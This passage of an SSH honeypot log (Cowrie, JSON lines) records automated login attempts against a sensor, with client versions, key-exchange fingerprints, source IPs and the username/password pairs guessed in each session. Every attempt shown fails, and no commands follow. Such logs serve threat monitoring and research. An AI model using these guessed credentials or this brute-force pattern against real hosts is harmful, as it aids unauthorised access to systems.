-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:38.068922Z","src_ip":"43.163.119.215","session":"b41acb30dbce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:38.822506Z","src_ip":"43.163.119.215","session":"b41acb30dbce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:40.071717Z","src_ip":"43.163.119.215","session":"b41acb30dbce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":58788,"dst_ip":"10.17.0.5","dst_port":22,"session":"604bba8926e7","protocol":"ssh","message":"New connection: 67.102.183.113:58788 (10.17.0.5:22) [session: 604bba8926e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:40.317279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:40.325059Z","src_ip":"67.102.183.113","session":"604bba8926e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:40.395410Z","src_ip":"67.102.183.113","session":"604bba8926e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tcm2005","message":"login attempt [root/tcm2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:40.707367Z","src_ip":"67.102.183.113","session":"604bba8926e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:41.781285Z","src_ip":"67.102.183.113","session":"604bba8926e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00541591644287,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:46.110331Z","src_ip":"189.176.168.136","session":"4410cdb154c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46054,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb4f31861461","protocol":"ssh","message":"New connection: 103.75.199.4:46054 (159.203.135.109:22) [session: eb4f31861461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:55.206719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:55.211869Z","src_ip":"103.75.199.4","session":"eb4f31861461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:55.304019Z","src_ip":"103.75.199.4","session":"eb4f31861461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:55.578853Z","src_ip":"103.75.199.4","session":"eb4f31861461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:25:56.674940Z","src_ip":"103.75.199.4","session":"eb4f31861461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":43978,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e75321b3a7d","protocol":"ssh","message":"New connection: 162.243.147.237:43978 (159.203.135.109:22) [session: 0e75321b3a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:00.205245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:00.215946Z","src_ip":"162.243.147.237","session":"0e75321b3a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:00.287609Z","src_ip":"162.243.147.237","session":"0e75321b3a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:00.596235Z","src_ip":"162.243.147.237","session":"0e75321b3a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:01.669467Z","src_ip":"162.243.147.237","session":"0e75321b3a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35518,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d0ae1a3a32","protocol":"ssh","message":"New connection: 103.75.199.4:35518 (159.203.135.109:22) [session: 22d0ae1a3a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:17.047829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:17.053381Z","src_ip":"103.75.199.4","session":"22d0ae1a3a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:17.145473Z","src_ip":"103.75.199.4","session":"22d0ae1a3a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:17.418724Z","src_ip":"103.75.199.4","session":"22d0ae1a3a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":44142,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd39812744cb","protocol":"ssh","message":"New connection: 202.29.225.206:44142 (159.203.135.109:22) [session: cd39812744cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:17.774706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:17.783169Z","src_ip":"202.29.225.206","session":"cd39812744cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:18.022451Z","src_ip":"202.29.225.206","session":"cd39812744cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:18.513235Z","src_ip":"103.75.199.4","session":"22d0ae1a3a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saji","message":"login attempt [root/saji] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:19.023185Z","src_ip":"202.29.225.206","session":"cd39812744cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:20.270113Z","src_ip":"202.29.225.206","session":"cd39812744cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":60664,"dst_ip":"159.203.135.109","dst_port":22,"session":"39fdb2e1d592","protocol":"ssh","message":"New connection: 43.153.46.75:60664 (159.203.135.109:22) [session: 39fdb2e1d592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:20.418606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:20.423465Z","src_ip":"43.153.46.75","session":"39fdb2e1d592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:20.491464Z","src_ip":"43.153.46.75","session":"39fdb2e1d592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:20.793845Z","src_ip":"43.153.46.75","session":"39fdb2e1d592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:21.865246Z","src_ip":"43.153.46.75","session":"39fdb2e1d592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":44152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c50eb8a44e7","protocol":"ssh","message":"New connection: 205.209.121.72:44152 (10.17.0.5:22) [session: 1c50eb8a44e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:23.209038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:23.218032Z","src_ip":"205.209.121.72","session":"1c50eb8a44e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:23.223899Z","src_ip":"205.209.121.72","session":"1c50eb8a44e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crystal","message":"login attempt [root/crystal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:23.274959Z","src_ip":"205.209.121.72","session":"1c50eb8a44e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:24.284463Z","src_ip":"205.209.121.72","session":"1c50eb8a44e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e5adbcc8063","protocol":"ssh","message":"New connection: 163.7.9.84:33770 (10.17.0.5:22) [session: 4e5adbcc8063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:29.804850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:29.809325Z","src_ip":"163.7.9.84","session":"4e5adbcc8063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:30.067559Z","src_ip":"163.7.9.84","session":"4e5adbcc8063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jupiter","message":"login attempt [root/jupiter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:31.115592Z","src_ip":"163.7.9.84","session":"4e5adbcc8063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:32.370958Z","src_ip":"163.7.9.84","session":"4e5adbcc8063","protocol":"ssh"}
